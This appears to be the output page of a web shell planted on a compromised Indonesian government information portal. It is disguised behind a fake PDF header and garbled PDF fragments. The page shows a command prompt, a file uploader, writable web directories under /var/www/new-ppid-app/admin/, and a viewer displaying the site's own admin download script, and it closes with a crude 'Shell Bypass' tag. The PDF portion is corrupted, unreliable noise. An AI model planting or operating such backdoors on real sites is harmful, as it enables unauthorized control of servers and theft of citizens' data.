%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/admin/unduh-tanggapan.php
<?php
/**
 * Admin: unduh berkas dokumen tanggapan permohonan berdasarkan id.
 */
require_once dirname(__DIR__) . '/config/config.php';
require_once dirname(__DIR__) . '/includes/auth.php';
require_central();

$id = (int) get_param('id', '0');
$stmt = db()->prepare('SELECT no_resi, file_tanggapan FROM permohonan WHERE id = ? LIMIT 1');
$stmt->execute([$id]);
$row = $stmt->fetch();

if (!$row || empty($row['file_tanggapan'])) {
    http_response_code(404);
    die('Berkas tidak ditemukan.');
}

$path = UPLOAD_PATH . '/tanggapan/' . basename($row['file_tanggapan']);
if (!is_file($path)) {
    http_response_code(404);
    die('Berkas tidak tersedia.');
}

if (ob_get_level()) {
    ob_end_clean();
}

$ext = pathinfo($path, PATHINFO_EXTENSION);
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="Tanggapan-' . preg_replace('/[^A-Za-z0-9\-]/', '', $row['no_resi']) . '.' . $ext . '"');
header('Content-Length: ' . filesize($path));
readfile($path);
exit;

Kontol Shell Bypass